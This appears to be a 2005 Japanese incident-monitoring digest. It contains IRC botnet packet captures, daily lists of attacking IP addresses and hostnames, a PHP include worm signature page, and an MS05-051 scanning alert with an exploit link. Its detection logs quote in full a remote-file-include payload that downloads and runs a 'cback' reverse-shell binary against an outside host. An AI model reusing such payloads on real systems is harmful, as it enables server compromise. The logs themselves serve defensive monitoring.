4E 3D 33 30 37 20 3A 61 72 65 20 73 75 70 70 6F N=307 :are suppo
72 74 65 64 20 62 79 20 74 68 69 73 20 73 65 72 rted by this ser
76 65 72 0D 0A 3A 68 75 62 2E 33 35 32 36 36 2E ver..:hub.35266.
63 6F 6D 20 30 30 35 20 6D 4B 52 4B 66 72 52 56 com 005 mKRKfrRV
20 57 41 4C 4C 43 48 4F 50 53 20 57 41 54 43 48 WALLCHOPS WATCH
3D 31 32 38 20 53 49 4C 45 4E 43 45 3D 31 35 20 =128 SILENCE=15
4D 4F 44 45 53 3D 31 32 20 43 48 41 4E 54 59 50 MODES=12 CHANTYP
45 53 3D 23 20 50 52 45 46 49 58 3D 28 71 61 6F ES=# PREFIX=(qao
68 76 29 7E 26 40 25 2B 20 43 48 41 4E 4D 4F 44 hv)~&@%+ CHANMOD
45 53 3D 62 65 2C 6B 66 4C 2C 6C 2C 70 73 6D 6E ES=be,kfL,l,psmn
74 69 72 52 63 4F 41 51 4B 56 47 43 75 7A 4E 53 tirRcOAQKVGCuzNS
4D 54 20 4E 45 54 57 4F 52 4B 3D 78 20 43 41 53 MT NETWORK=x CAS
45 4D 41 50 50 49 4E 47 3D 61 73 63 69 69 20 45 EMAPPING=ascii E
58 54 42 41 4E 3D 7E 2C 63 71 72 20 3A 61 72 65 XTBAN=~,cqr :are
20 73 75 70 70 6F 72 74 65 64 20 62 79 20 74 68 supported by th
69 73 20 73 65 72 76 65 72 0D 0A 3A 6D 4B 52 4B is server..:mKRK
66 72 52 56 20 4D 4F 44 45 20 6D 4B 52 4B 66 72 frRV MODE mKRKfr
52 56 20 3A 2B 69 0D 0A RV :+i..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:34.292535 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x49
192.168.37.150:1049 -> ***.***.40.228:8080 TCP TTL:128 TOS:0x0 ID:10521 IpLen:20 DgmLen:59 DF
***AP*** Seq: 0xA7E03C76 Ack: 0x28529D97 Win: 0xF908 TcpLen: 20
4D 4F 44 45 20 6D 4B 52 4B 66 72 52 56 20 2B 78 MODE mKRKfrRV +x
69 0D 0A i..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:34.470919 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x36
***.***.40.228:8080 -> 192.168.37.150:1049 TCP TTL:115 TOS:0x0 ID:10631 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x28529D97 Ack: 0xA7E03C89 Win: 0x435C TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:34.471481 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x53
192.168.37.150:1049 -> ***.***.40.228:8080 TCP TTL:128 TOS:0x0 ID:10522 IpLen:20 DgmLen:69 DF
***AP*** Seq: 0xA7E03C89 Ack: 0x28529D97 Win: 0xF908 TcpLen: 20
4A 4F 49 4E 20 23 62 20 0D 0A 55 53 45 52 48 4F JOIN #b ..USERHO
53 54 20 6D 4B 52 4B 66 72 52 56 0D 0A ST mKRKfrRV..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:34.494416 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x27E
***.***.40.228:8080 -> 192.168.37.150:1049 TCP TTL:115 TOS:0x0 ID:10634 IpLen:20 DgmLen:624 DF
***AP*** Seq: 0x28529D97 Ack: 0xA7E03CA6 Win: 0x433F TcpLen: 20
3A 6D 4B 52 4B 66 72 52 56 21 58 74 65 75 40 66 :mKRKfrRV!Xteu@f
30 37 38 32 34 31 2E 70 70 70 2E 61 73 61 68 69 078241.ppp.***
2D 6E 65 74 2E 6F 72 2E 6A 70 20 4A 4F 49 4E 20 -net.or.jp JOIN
3A 23 62 0D 0A 3A 68 75 62 2E 33 35 32 36 36 2E :#b..:hub.35266.
63 6F 6D 20 33 33 32 20 6D 4B 52 4B 66 72 52 56 com 332 mKRKfrRV
20 23 62 20 3A 3D 42 44 65 72 54 6F 4F 56 53 37 #b :=BDerToOVS7
62 67 37 2F 31 65 38 4D 47 76 61 30 30 78 2B 52 bg7/1e8MGva00x+R
6B 4B 33 6D 72 69 59 41 73 41 49 31 77 37 51 6B kK3mriYAsAI1w7Qk
33 2B 5A 34 47 46 4F 69 73 47 78 44 67 77 64 45 3+Z4GFOisGxDgwdE
67 6D 6F 45 4A 57 77 43 78 6C 6C 79 68 68 34 46 gmoEJWwCxllyhh4F
72 6E 55 61 64 69 6F 38 2F 30 4A 73 79 71 45 71 rnUadio8/0JsyqEq
38 39 31 78 45 7A 50 66 62 5A 33 50 4A 49 73 50 891xEzPfbZ3PJIsP
76 32 66 43 65 61 44 56 50 5A 53 78 72 6D 46 75 v2fCeaDVPZSxrmFu
48 55 64 53 42 42 56 71 44 58 64 6B 71 56 68 45 HUdSBBVqDXdkqVhE
49 4E 38 39 6B 5A 72 68 59 35 46 37 67 73 2F 63 IN89kZrhY5F7gs/c
4F 6C 31 32 33 4C 4C 51 70 79 44 56 2B 50 68 33 Ol123LLQpyDV+Ph3
49 53 6D 54 6A 7A 54 36 75 59 2F 6D 51 75 2F 57 ISmTjzT6uY/mQu/W
52 58 44 76 30 70 33 6C 58 38 77 78 42 41 79 64 RXDv0p3lX8wxBAyd
44 55 4B 52 7A 47 44 31 43 46 6A 50 39 63 78 37 DUKRzGD1CFjP9cx7
51 36 56 42 47 46 5A 47 39 53 49 79 4C 46 6F 79 Q6VBGFZG9SIyLFoy
49 34 4F 4B 66 44 45 46 4C 4A 59 4D 77 70 7A 7A I4OKfDEFLJYMwpzz
2B 59 7A 63 49 6D 34 74 6E 58 74 41 66 6D 45 54 +YzcIm4tnXtAfmET
6F 4E 36 58 66 64 50 30 6A 43 0D 0A 3A 68 75 62 oN6XfdP0jC..:hub
2E 33 35 32 36 36 2E 63 6F 6D 20 33 33 33 20 6D .35266.com 333 m
4B 52 4B 66 72 52 56 20 23 62 20 75 20 31 31 32 KRKfrRV #b u 112
37 32 36 35 30 34 33 0D 0A 3A 68 75 62 2E 33 35 7265043..:hub.35
32 36 36 2E 63 6F 6D 20 33 35 33 20 6D 4B 52 4B 266.com 353 mKRK
66 72 52 56 20 40 20 23 62 20 3A 6D 4B 52 4B 66 frRV @ #b :mKRKf
72 52 56 20 0D 0A 3A 68 75 62 2E 33 35 32 36 36 rRV ..:hub.35266
2E 63 6F 6D 20 33 36 36 20 6D 4B 52 4B 66 72 52 .com 366 mKRKfrR
56 20 23 62 20 3A 45 6E 64 20 6F 66 20 2F 4E 41 V #b :End of /NA
4D 45 53 20 6C 69 73 74 2E 0D 0A 3A 68 75 62 2E MES list...:hub.
33 35 32 36 36 2E 63 6F 6D 20 33 30 32 20 6D 4B 35266.com 302 mK
52 4B 66 72 52 56 20 3A 6D 4B 52 4B 66 72 52 56 RKfrRV :mKRKfrRV
3D 2B 58 74 65 75 40 66 30 37 38 32 34 31 2E 70 =+Xteu@f078241.p
70 70 2E 61 73 61 68 69 2D 6E 65 74 2E 6F 72 2E pp.***-net.or.
6A 70 20 20 20 20 0D 0A jp ..

-------------------------------------------------------------------
■IRCのログ
-------------------------------------------------------------------

USER Xteu Xteu Xteu :ISS-0O4GCLAQMRT

NICK mKRKfrRV

:hub.***.***.com 001 mKRKfrRV :x, mKRKfrRV!Xteu@f078241.***.***.or.jp

:hub.***.***.com 005 mKRKfrRV MAP KNOCK SAFELIST HCN MAXCHANNELS=10 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server

:hub.***.***.com 005 mKRKfrRV WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=x CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server

:mKRKfrRV MODE mKRKfrRV :+i

MODE mKRKfrRV +xi

JOIN #b

USERHOST mKRKfrRV

:mKRKfrRV!Xteu@f078241.***.***.or.jp JOIN :#b

:hub.***.***.com 332 mKRKfrRV #b :=BDerToOVS7bg7/1e8MGva00x+RkK3mriYAsAI1w7Qk3+Z4GFOisGxDgwdEgmoEJWwCxllyhh4FrnUadio8/0JsyqEq891xEzPfbZ3PJIsPv2fCeaDVPZSxrmFuHUdSBBVqDXdkqVhEIN89kZrhY5F7gs/cOl123LLQpyDV+Ph3ISmTjzT6uY/mQu/WRXDv0p3lX8wxBAydDUKRzGD1CFjP9cx7Q6VBGFZG9SIyLFoyI4OKfDEFLJYMwpzz+YzcIm4tnXtAfmEToN6XfdP0jC

:hub.***.***.com 333 mKRKfrRV #b u 1127265043

:hub.***.***.com 353 mKRKfrRV @ #b :mKRKfrRV

:hub.***.***.com 366 mKRKfrRV #b :End of /NAMES list.

:hub.***.***.com 302 mKRKfrRV :mKRKfrRV=+Xteu@f078241.***.***.or.jp

MODE #b +smntu

:hub.***.***.com 482 mKRKfrRV #b :You're not channel operator

【サイバー犯罪事件簿】2005年12月15日

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

61.125.226.143 i226143.ppp.asahi-net.or.jp
61.213.71.132 j071132.ppp.asahi-net.or.jp
218.42.6.63 FLA1Aab063.ymn.mesh.ad.jp
218.42.6.70 FLA1Aab070.ymn.mesh.ad.jp
218.42.122.77 FLH1Aaa013.kgs.mesh.ad.jp
218.42.200.173 218-42-200-173.eonet.ne.jp
218.42.225.44 218-42-225-44.eonet.ne.jp
218.42.246.82 218-42-246-82.eonet.ne.jp
218.43.38.239 p4239-ipbf409marunouchi.tokyo.ocn.ne.jp
218.43.173.76 p3076-ipad02sinnagasak.nagasaki.ocn.ne.jp
218.43.212.20 p1020-ipad02gifu.gifu.ocn.ne.jp
218.43.228.69 p2069-ipad03niho.hiroshima.ocn.ne.jp
218.44.19.186 i218-44-19-186.s02.a016.ap.plala.or.jp
218.44.30.194 i218-44-30-194.s04.a013.ap.plala.or.jp
218.44.69.124 i218-44-69-124.s02.a035.ap.plala.or.jp
218.44.109.192 i218-44-109-192.s02.a043.ap.plala.or.jp
218.44.113.220 i218-44-113-220.s02.a047.ap.plala.or.jp
218.45.6.124 f378.nnc.or.jp
218.45.8.84 f846.nnc.or.jp
218.45.8.202 f964.nnc.or.jp
218.45.20.9 218-45-20-9.flets.kamome.or.jp
218.45.54.76 fla03-076.wind.ne.jp
218.45.56.25 ptak25.wind.ne.jp
218.45.96.9 flets-i-as-east-2-9.dsn.jp
218.45.103.182 bflets-fm-osk-1-182.dsn.jp
218.45.104.90 flets-a-west-9-90.dsn.jp
218.45.104.184 flets-a-west-9-184.dsn.jp
218.45.106.200 flets-a-west-11-200.dsn.jp
218.45.110.62 flets-a-west-15-62.dsn.jp
218.45.139.118 u21845139118.hctv.ne.jp
218.45.168.51 k168051.ppp.asahi-net.or.jp
218.45.168.85 k168085.ppp.asahi-net.or.jp
218.45.171.92 k171092.ppp.asahi-net.or.jp
218.45.176.141 k176141.ppp.asahi-net.or.jp
218.45.191.53 k191053.ppp.asahi-net.or.jp
218.47.231.193 i218-47-231-193.s02.a026.ap.plala.or.jp
218.217.199.17 eaoska062017.adsl.ppp.infoweb.ne.jp
218.226.239.71 nkno111071.catv.ppp.infoweb.ne.jp
221.113.17.64 p017064.ppp.asahi-net.or.jp

【Proventia】HTTP_Spyki_PhpInclude_Worm

■シグネチャの説明
PHP include worm infects search engine-listed sites
http://www.iss.net/security_center/static/18706.php

■参照情報
Viruslist.com - Analyst's Diary
Update on Santy.e / Santy updates - worm renamed
http://www.viruslist.com/en/weblog

devshed.com PHP article
PHP Security Mistakes
http://www.devshed.com/c/a/PHP/PHP-Security-Mistakes/

■検知シグネチャ

■検知ログ

2005-11-29 10:17:20 JST	/index.php	option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://*.120.109.25/cmd.gif?&cmd=cd%20/tmp;wget%20.160.255.44/cback;chmod%20744%20cback;./cback%20**.112.220.37%208080;
2005-11-29 10:16:18 JST	/index2.php	option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://*.120.109.25/cmd.gif?&cmd=cd%20/tmp;wget%20.160.255.44/cback;chmod%20744%20cback;./cback%20**.112.220.37%208080;
2005-11-29 10:16:19 JST	/index.php	option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://*.120.109.25/cmd.gif?&cmd=cd%20/tmp;wget%20.160.255.44/cback;chmod%20744%20cback;./cback%20**.112.220.37%208080;
2005-12-14 10:15:45 JST	/index.php	option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://*.16.85.15/cmd.gif?&cmd=cd%20/tmp;wget%20.103.82.214/cback;chmod%20744%20cback;./cback%20**.160.242.90%208080;ec
2005-12-14 10:14:21 JST	/index2.php	option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://*.16.85.15/cmd.gif?&cmd=cd%20/tmp;wget%20.103.82.214/cback;chmod%20744%20cback;./cback%20**.160.242.90%208080;ec
2005-12-14 10:14:22 JST	/index.php	option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://*.16.85.15/cmd.gif?&cmd=cd%20/tmp;wget%20.103.82.214/cback;chmod%20744%20cback;./cback%20**.160.242.90%208080;ec

【サイバー犯罪事件簿】2005年12月14日

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

125.30.13.227 227.13.30.125.dy.iij4u.or.jp
125.174.70.122 p7122-ipad08obiyama.kumamoto.ocn.ne.jp
202.216.49.45 flets-a-west-2-45.dsn.jp
202.216.52.56 flets-a-west-5-56.dsn.jp
218.41.33.159 p29219f.hkidnt01.ap.so-net.ne.jp
218.41.67.87 p294357.gifunt01.ap.so-net.ne.jp
218.42.73.231 FLA1Aad231.szo.mesh.ad.jp
218.42.115.119 FLH1Aac023.gif.mesh.ad.jp
218.42.210.21 218-42-210-21.eonet.ne.jp
218.42.226.8 218-42-226-8.eonet.ne.jp
218.43.64.226 p4226-ipad01imazuka.yamagata.ocn.ne.jp
218.43.133.144 p3144-ipad12sasajima.aichi.ocn.ne.jp
218.43.226.89 p2089-ipad02okayamaima.okayama.ocn.ne.jp
218.44.92.166 i218-44-92-166.s02.a035.ap.plala.or.jp
218.45.3.26 ppp6.aikis.or.jp
218.45.6.29 f283.nnc.or.jp
218.45.88.232 218.45.88.232.eo.eaccess.ne.jp
218.45.96.9 flets-i-as-east-2-9.dsn.jp
218.45.103.40 bflets-fm-osk-1-40.dsn.jp
218.45.103.58 bflets-fm-osk-1-58.dsn.jp
218.45.103.228 bflets-fm-osk-1-228.dsn.jp
218.45.104.112 flets-a-west-9-112.dsn.jp
218.45.105.49 flets-a-west-10-49.dsn.jp
218.45.106.239 flets-a-west-11-239.dsn.jp
218.45.108.70 flets-a-west-13-70.dsn.jp
218.45.109.216 flets-a-west-14-216.dsn.jp
218.45.110.4 flets-a-west-15-4.dsn.jp
218.45.139.20 u21845139020.hctv.ne.jp
218.45.166.104 k166104.ppp.asahi-net.or.jp
218.45.167.135 k167135.ppp.asahi-net.or.jp
218.45.167.207 k167207.ppp.asahi-net.or.jp
218.45.171.228 k171228.ppp.asahi-net.or.jp
218.45.173.249 k173249.ppp.asahi-net.or.jp
218.45.179.216 k179216.ppp.asahi-net.or.jp
218.110.6.38 p6e0626.tokynt01.ap.so-net.ne.jp
218.185.129.202 218.185.129.202.eo.eaccess.ne.jp
218.225.199.226 usr032.bb106-02.udh.im.wakwak.ne.jp
218.229.32.13 ntshga012013.shga.nt.adsl.ppp.infoweb.ne.jp
218.251.4.146 218-251-4-146.eonet.ne.jp

【サイバー犯罪事件簿】2005年12月13日

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

61.125.106.178 zaq3d7d6ab2.zaq.ne.jp
210.199.95.231 flets-a-west-18-231.dsn.jp
218.42.73.231 FLA1Aad231.szo.mesh.ad.jp
218.42.115.119 FLH1Aac023.gif.mesh.ad.jp
218.42.226.8 218-42-226-8.eonet.ne.jp
218.42.243.195 218-42-243-195.eonet.ne.jp
218.43.40.180 p2180-ipbf410marunouchi.tokyo.ocn.ne.jp
218.43.64.226 p4226-ipad01imazuka.yamagata.ocn.ne.jp
218.43.232.56 p6056-ipad03niho.hiroshima.ocn.ne.jp
218.44.112.254 i218-44-112-254.s02.a047.ap.plala.or.jp
218.44.126.248 i218-44-126-248.s02.a034.ap.plala.or.jp
218.45.6.58 f312.nnc.or.jp
218.45.53.186 fla02-186.wind.ne.jp
218.45.54.60 fla03-060.wind.ne.jp
218.45.54.78 fla03-078.wind.ne.jp
218.45.56.50 ptak50.wind.ne.jp
218.45.88.69 218.45.88.69.eo.eaccess.ne.jp
218.45.88.232 218.45.88.232.eo.eaccess.ne.jp
218.45.103.58 bflets-fm-osk-1-58.dsn.jp
218.45.103.67 bflets-fm-osk-1-67.dsn.jp
218.45.103.228 bflets-fm-osk-1-228.dsn.jp
218.45.104.112 flets-a-west-9-112.dsn.jp
218.45.105.85 flets-a-west-10-85.dsn.jp
218.45.106.50 flets-a-west-11-50.dsn.jp
218.45.106.173 flets-a-west-11-173.dsn.jp
218.45.107.91 flets-a-west-12-91.dsn.jp
218.45.108.70 flets-a-west-13-70.dsn.jp
218.45.109.114 flets-a-west-14-114.dsn.jp
218.45.110.54 flets-a-west-15-54.dsn.jp
218.45.139.20 u21845139020.hctv.ne.jp
218.45.139.41 u21845139041.hctv.ne.jp
218.45.139.118 u21845139118.hctv.ne.jp
218.45.163.249 k163249.ppp.asahi-net.or.jp
218.45.165.105 k165105.ppp.asahi-net.or.jp
218.45.165.229 k165229.ppp.asahi-net.or.jp
218.45.165.232 k165232.ppp.asahi-net.or.jp
218.45.166.15 k166015.ppp.asahi-net.or.jp
218.45.166.95 k166095.ppp.asahi-net.or.jp
218.45.167.135 k167135.ppp.asahi-net.or.jp
218.45.168.1 k168001.ppp.asahi-net.or.jp
218.45.168.222 k168222.ppp.asahi-net.or.jp
218.45.170.17 k170017.ppp.asahi-net.or.jp
218.45.172.249 k172249.ppp.asahi-net.or.jp
218.45.176.219 k176219.ppp.asahi-net.or.jp
218.224.25.41 p5041-ipad01akita.akita.ocn.ne.jp
218.226.47.224 ntshga007224.shga.nt.adsl.ppp.infoweb.ne.jp
218.227.180.155 FLA1Aaj155.chb.mesh.ad.jp
218.231.162.99 218.231.162.99.eo.eaccess.ne.jp
218.231.193.237 218.231.193.237.eo.eaccess.ne.jp
218.251.4.146 218-251-4-146.eonet.ne.jp
219.122.136.129 219-122-136-129.eonet.ne.jp

【サイバー犯罪事件簿】2005年12月12日

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

61.45.61.174 XEPHION z174.61-45-61.ppp.wakwak.ne.jp
125.0.15.38 INFOWEB nttkyo352038.tkyo.nt.ftth.ppp.infoweb.ne.jp
202.60.45.181 DS-NETWORKS bflets-fa-west-7-181.dsn.jp
210.199.95.56 DS-NETWORKS flets-a-west-18-56.dsn.jp
218.41.7.165 SO-NET p2907a5.chibnt01.ap.so-net.ne.jp
218.42.105.180 BIGLOBE-4 FLA1Aab180.hrs.mesh.ad.jp
218.42.217.201 K-OPTICOM 218-42-217-201.eonet.ne.jp
218.43.175.235 OCN p5235-ipad02sinnagasak.nagasaki.ocn.ne.jp
218.43.204.244 OCN p5244-ip01kamokounan.kagoshima.ocn.ne.jp
218.44.112.254 PLALA i218-44-112-254.s02.a047.ap.plala.or.jp
218.44.118.33 PLALA i218-44-118-33.s01.a006.ap.plala.or.jp
218.45.5.188 CYBERLINKS f188.nnc.or.jp
218.45.5.232 CYBERLINKS f232.nnc.or.jp
218.45.8.250 CYBERLINKS f1012.nnc.or.jp
218.45.11.192 CYBERLINKS f1462.nnc.or.jp
218.45.54.60 GUNMANET-03 fla03-060.wind.ne.jp
218.45.100.141 DS-NETWORKS bflets-fa-west-3-141.dsn.jp
218.45.100.146 DS-NETWORKS bflets-fa-west-3-146.dsn.jp
218.45.105.1 DS-NETWORKS flets-a-west-10-1.dsn.jp
218.45.105.10 DS-NETWORKS flets-a-west-10-10.dsn.jp
218.45.105.162 DS-NETWORKS flets-a-west-10-162.dsn.jp
218.45.106.173 DS-NETWORKS flets-a-west-11-173.dsn.jp
218.45.107.113 DS-NETWORKS flets-a-west-12-113.dsn.jp
218.45.109.99 DS-NETWORKS flets-a-west-14-99.dsn.jp
218.45.109.110 DS-NETWORKS flets-a-west-14-110.dsn.jp
218.45.139.20 HCTV-NET u21845139020.hctv.ne.jp
218.45.139.33 HCTV-NET u21845139033.hctv.ne.jp
218.45.139.41 HCTV-NET u21845139041.hctv.ne.jp
218.45.165.229 ASAHI-NET-CIDR-BLK-JP k165229.ppp.asahi-net.or.jp
218.45.166.144 ASAHI-NET-CIDR-BLK-JP k166144.ppp.asahi-net.or.jp
218.45.167.66 ASAHI-NET-CIDR-BLK-JP k167066.ppp.asahi-net.or.jp
218.45.168.1 ASAHI-NET-CIDR-BLK-JP k168001.ppp.asahi-net.or.jp
218.45.168.173 ASAHI-NET-CIDR-BLK-JP k168173.ppp.asahi-net.or.jp
218.45.169.229 ASAHI-NET-CIDR-BLK-JP k169229.ppp.asahi-net.or.jp
218.45.175.254 ASAHI-NET-CIDR-BLK-JP k175254.ppp.asahi-net.or.jp
218.45.177.167 ASAHI-NET-CIDR-BLK-JP k177167.ppp.asahi-net.or.jp
218.45.178.85 ASAHI-NET-CIDR-BLK-JP k178085.ppp.asahi-net.or.jp
218.47.54.201 PLALA i218-47-54-201.s02.a027.ap.plala.or.jp
218.47.108.108 PLALA i218-47-108-108.s02.a001.ap.plala.or.jp
218.225.147.58 XEPHION z58.218-225-147.ppp.wakwak.ne.jp
218.229.228.7 InfoWeb-CIDR-BLK-JP hcou114007.catv.ppp.infoweb.ne.jp

【情報】MS05-051への攻撃増加について

■コメント
Port1025のスキャンの増加について報告します。
パケットペイロードからMS05-051脆弱性を利用した攻撃であることが判明した。

■観測結果
増加する傾向にある。以下は72時間の活動を示すグラフです。

出典：SANS(http://isc.sans.org/diary.php )

■定点観測

・JPCERT週間グラフ（アクセス先ポート別グラフ）
http://www.jpcert.or.jp/isdas/

・警察庁定点観測グラフ（ファイアウォール）
http://www.cyberpolice.go.jp/detect/observation.html

・Incidents by Service: tcp/1025
http://www.mynetwatchman.com/incidentsbyport.asp?range=0&SID=0x060401&ServiceName=tcp/1025
http://www.mynetwatchman.com/LID.asp?IID=179103588

・Port 1025 TCP/UDP (win-rpc)
http://isc.sans.org/port_details.php?port=1025&repax=1&tarax=2&srcax=2&percent=N&days=10

■状況報告
http://www.eeye.com/html/research/advisories/AD20051011b.html

・Port 1025/6000 Action (Part II) (NEW)
http://isc.sans.org/diary.php?storyid=926

・MSDTC および COM+ の脆弱性により、リモートでコードが実行される (902400) (MS05-051)
http://www.microsoft.com/japan/technet/security/bulletin/ms05-051.mspx

■Exploit
Microsoft Windows Distributed Transaction Coordinator Remote Exploit (MS05-051)
http://www.frsirt.com/exploits/20051201.MS05-051msdtc.cpp.php

■ニュース

・警察庁、中国を発信元とするTCP 1025番ポートへのアクセス増加を警告

http://internet.watch.impress.co.jp/cda/news/2005/12/09/10174.html

・警視庁

http://www.cyberpolice.go.jp/important/2005/20051209_184920.html

・MS05-051を突く深刻な攻撃コードが公開、米SANSなどが警告

http://internet.watch.impress.co.jp/cda/news/2005/11/28/9997.html

■HELP(ISS)

MSDTC message buffer overflow (MSRPC_MSDTC_Message_BO)
About this signature or vulnerability

Systems affected
Windows 2000: SP4, Windows XP: SP1, CallPilot: Any Version, Windows Server: 2003, Windows Server 2003: SP1 Itanium, Windows Server 2003: Itanium

Vulnerability description
The Microsoft Distributed Transaction Service Coordinator (MSDTC) could allow a remote attacker to execute arbitrary code on the system, caused by a buffer overflow in the MSDTC. On Windows 2000, a remote attacker could send a specially-crafted network message and execute arbitrary code on the system. On Windows XP SP1 and Windows Server 2003, a local attacker could run a program followed by a specially-crafted application to gain elevated privileges and execute arbitrary code on the system.

Note: On Windows XP SP1, the vulnerability can be exploited remotely if the MSDTC is started. On Windows Server 2003, if support for Network DTC Access has been enabled, the vulnerability can be exploited remotely.

How to remove this vulnerability
Apply the appropriate patch for your system, as listed in Microsoft Security Bulletin MS05-051. See References.

For CallPilot:
Apply the fix as listed in Security Advisory P-2005-0056-Global, available from the Nortel Networks Web site. See References. A login account is required for access.

■Proventiaでの検知(IDS)

■攻撃発信元(IPaddress)

220.194.241.7 　China UNICOM
211.95.121.141 China UNICOM
211.91.150.228 China UNICOM
218.206.88.24 China CMNET-beijing
220.168.64.195 China CHINANET-HN-CS
222.94.82.45 China CHINANET-JS
211.136.104.24 China CMNET-shanghai
59.52.28.204 China CHINANET-JX
218.98.159.116 China XIMEN-XSCYJ4
211.102.91.131 China CNNIC
219.141.38.134 China CHINANET-GZ
220.176.205.142 China CHINANET-JX
222.240.250.89 China CHINANET-HN-CS

220.175.7.174 China CHINANET-JX
61.237.17.150 China CRTC
218.75.231.175 China CHINANET-HN-XT
218.64.180.141 China CHINANET-JX
218.200.182.47 China CMNET-sichuan
211.91.125.137 China UNICOM
220.194.59.166 China UNICOM
210.21.56.240 China guangzhou-suichu-kejian-corp
60.28.249.22 China hylanda-com-tj
221.15.37.18 China CNCGROUP-HA
218.204.136.20 China CMNET-jiangxi
211.90.106.146 China UNICOM
211.138.170.184 China CMNET-hainan

■検知ログ

危険度	時間（JST)	送信元IP
High	2005-12-09 18:07:14 JST	61.153.22.219
High	2005-12-09 19:27:26 JST	61.142.246.36
High	2005-12-09 20:51:19 JST	58.240.80.197
High	2005-12-09 22:16:54 JST	211.94.169.18
High	2005-12-09 23:25:24 JST	220.194.249.34
High	2005-12-09 23:25:27 JST	220.194.249.34
High	2005-12-10 00:46:02 JST	220.248.199.124
High	2005-12-10 00:46:02 JST	220.248.199.124
High	2005-12-10 04:34:32 JST	61.243.229.222
High	2005-12-10 04:34:35 JST	61.243.229.222
High	2005-12-10 04:35:42 JST	61.243.229.222
High	2005-12-10 05:54:22 JST	61.242.97.99
High	2005-12-10 05:54:23 JST	61.242.97.99
High	2005-12-10 05:55:26 JST	61.242.97.99
High	2005-12-10 05:56:18 JST	58.20.96.212
High	2005-12-10 05:56:18 JST	58.20.96.212
High	2005-12-10 08:01:41 JST	202.107.233.41
High	2005-12-10 08:37:21 JST	218.64.64.70
High	2005-12-10 12:52:37 JST	211.137.140.70
High	2005-12-10 12:52:37 JST	211.137.140.70
High	2005-12-10 12:53:53 JST	211.137.140.70
High	2005-12-10 15:53:56 JST	211.162.39.106
High	2005-12-10 15:53:56 JST	211.162.39.106
High	2005-12-10 15:58:01 JST	211.94.206.75
High	2005-12-10 15:58:01 JST	211.94.206.75
High	2005-12-10 16:15:04 JST	211.94.206.75
High	2005-12-10 16:15:04 JST	211.94.206.75
High	2005-12-10 18:03:24 JST	220.175.5.24
High	2005-12-10 19:20:46 JST	211.139.7.99
High	2005-12-10 19:20:46 JST	211.139.7.99
High	2005-12-10 19:21:48 JST	211.139.7.99
High	2005-12-10 19:46:27 JST	220.175.104.20
High	2005-12-10 19:59:19 JST	218.95.72.65
High	2005-12-10 21:59:05 JST	218.204.136.20
High	2005-12-10 21:59:05 JST	218.204.136.20
High	2005-12-10 22:00:06 JST	218.204.136.20
High	2005-12-11 01:45:30 JST	218.206.88.24
High	2005-12-11 01:45:30 JST	218.206.88.24
High	2005-12-11 01:46:39 JST	218.206.88.24
High	2005-12-11 02:02:24 JST	222.240.250.89
High	2005-12-11 02:18:14 JST	211.91.150.228
High	2005-12-11 02:18:16 JST	211.91.150.228
High	2005-12-11 02:19:20 JST	211.91.150.228
High	2005-12-11 03:36:54 JST	220.194.241.7
High	2005-12-11 03:36:54 JST	220.194.241.7
High	2005-12-11 03:37:56 JST	220.194.241.7
High	2005-12-11 03:52:23 JST	218.98.159.116
High	2005-12-11 03:52:26 JST	218.98.159.116
High	2005-12-11 05:53:21 JST	59.52.28.204
High	2005-12-11 05:53:23 JST	59.52.28.204
High	2005-12-11 07:32:57 JST	220.176.205.142
High	2005-12-11 07:39:33 JST	220.168.64.195
High	2005-12-11 07:39:34 JST	220.168.64.195
High	2005-12-11 07:40:51 JST	220.168.64.195
High	2005-12-11 09:24:25 JST	211.136.104.24
High	2005-12-11 09:24:27 JST	211.136.104.24
High	2005-12-11 09:58:07 JST	219.141.38.134
High	2005-12-11 10:25:30 JST	222.94.82.45
High	2005-12-11 10:28:37 JST	222.94.82.45
High	2005-12-11 15:45:32 JST	211.95.121.141
High	2005-12-11 15:45:32 JST	211.95.121.141
High	2005-12-11 15:46:33 JST	211.95.121.141
High	2005-12-11 19:33:34 JST	211.102.91.131
High	2005-12-11 23:35:44 JST	61.240.131.102
High	2005-12-11 23:35:44 JST	61.240.131.102
High	2005-12-11 23:43:49 JST	218.108.62.93
